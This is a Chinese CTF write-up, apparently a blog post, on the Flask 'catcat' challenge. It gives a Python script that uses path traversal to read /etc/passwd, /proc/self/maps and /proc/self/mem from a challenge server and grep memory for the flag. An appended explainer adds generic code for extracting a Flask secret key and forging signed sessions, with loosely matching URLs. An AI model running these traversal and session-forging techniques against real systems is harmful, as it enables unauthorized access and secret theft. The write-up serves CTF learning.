CATcat_wp_web flask 和华夏erp

文章描述了一次网络安全挑战,涉及到web应用中的文件读取漏洞,包括session伪造、任意文件读取。问题在于一个使用PythonFlask框架的应用,flag被存储在内存中并随后删除。作者通过读取Linux的/proc/self/mem来尝试找到被删除的flag,编写脚本从可读内存区域进行搜索。此外,还提到了对JS文件的分析以寻找认证绕过的线索。

CATctf web 方向有关文件读取,session伪造,任意文件读取,内存读取

CATCAT

存在文件任意读取,试一下etc/passwd

抓包看后是python flask框架 app.py

尝试读取主程序源代码

查看后发现读取flag后又删除,flag保存在内存之中

linux下存在 proc 目录 下 cmdline cwd exe environ fd (如果用os remove ,目录下还可以得到被删除内容) self**

直接读根目录下flag不存在,读取内存 proc/self/mem linux内存权限不同区域不同,读取可读取区域的内存 用 proc/self/maps看不同区域的权限


写个脚本读取全部内存rw,然后寻找flag

最后脚本代码

import requests
import re

url="http://61.147.171.105:59618"
site="info?file=../../../proc/self/mem&start=%s&end=%s"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps_url = f"{url}/info?file=../../../../../proc/self/maps"
maps = re.findall(maps_reg,requests.get(maps_url).text)
        
for m in maps:
        start,end=m.split('-')[0],m.split('-')[1]
        #start,end =int (start,16),int (end,16)
        print(start,end)
        start=str(int(start,16))
        end=str(int(end,16))
        readurl=f'{url}/info?file=../../../../proc/self/mem&start={start}&end={end}'
        res=requests.get(readurl).content
        #secret = re.findall(b"[a-z0-9A-Z]{32}\*abcdefgh",res)
        #if secret:
        #   print(secret)
        flag = re.findall(b"[a-zA-Z]{4}\{[a-z0-9A-Z-_]*\}",res)
        if flag:
            print(flag)

easypass
找奇怪的js,发现login.JS 查看源码
源码写erp系统,搜一下,发现有检验漏洞



跟着图pass

结束 信息搜集 认证绕过

在CTF(夺旗赛)中,`catcat-new` 是一个常见的网络安全挑战,通常涉及Web安全漏洞,例如文件包含、Flask session伪造、内存信息泄露等攻击手段。这类挑战的目标是通过利用Web应用的漏洞获取敏感信息或获得系统控制权限。 ### 问题分析 `catcat-new` 挑战通常基于 Flask 框架,其关键点在于利用文件包含漏洞读取 `/proc/self/mem` 文件,从中提取 Flask 的 `SECRET_KEY`。Flask 使用该密钥来签名会话(session),一旦攻击者获得该密钥,就可以伪造 session,从而实现身份绕过或提权。 ### 攻击流程 1. **读取 `/proc/self/maps`**: - 该文件列出了当前进程的内存映射区域。 - 攻击者通过访问 `/proc/self/maps`,寻找具有读写权限(`rw`)的内存段。 - 获取内存段的起始结束地址范围,用于下一步读取内存内容 [^2]。 2. **读取 `/proc/self/mem`**: - 构造特定请求,读取之前找到的内存地址范围。 - 利用正则表达式从内存内容中提取 Flask 的 `SECRET_KEY`,该密钥通常以 32 位小写字母数字组成,并可能带有特定标识符(如 `*abcdefgh`) [^1]。 3. **伪造 Flask Session**: - 使用提取的 `SECRET_KEY` 对 Flask session 进行签名。 - 构造恶意 session,注入特定 payload,例如修改用户权限或执行任意命令。 ### 示例代码 以下是一个用于提取 `SECRET_KEY` 的脚本示例: ```python import re import requests # 读取内存映射表 maps_url = "http://target.com/proc/self/maps" mem_info = requests.get(maps_url).text.split('\n') for line in mem_info: match = re.match(r"([0-9a-f]+)-([0-9a-f]+) rw", line) if match: start = int(match.group(1), 16) end = int(match.group(2), 16) mem_url = f"http://target.com/proc/self/mem?start={start}&end={end}" mem_content = requests.get(mem_url).text secret_key = re.findall(r"[a-z0-9]{32}\*abcdefgh", mem_content) if secret_key: print(f"Found SECRET_KEY: {secret_key}") break ``` ### Flask Session 伪造示例 使用 `itsdangerous` 库伪造 Flask session: ```python from itsdangerous import URLSafeTimedSerializer # 假设已知的 SECRET_KEY secret_key = 'your_extracted_secret_key_here' # 创建 session 签名器 serializer = URLSafeTimedSerializer(secret_key) # 构造恶意 session 数据 malicious_session = { 'user': 'admin', 'role': 'admin' } # 生成签名后的 session signed_session = serializer.dumps(malicious_session) print(f"Signed Session: {signed_session}") ``` ### 防御措施 - **避免直接暴露 `/proc` 文件系统**:限制对 `/proc/self/mem` `/proc/self/maps` 的访问。 - **增强 Flask 安全配置**: - 使用强随机 `SECRET_KEY`。 - 设置 `SESSION_COOKIE_SECURE=True`,防止中间人窃取 session。 - 启用 `SESSION_COOKIE_HTTPONLY=True`,防止 XSS 攻击窃取 cookie [^3]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值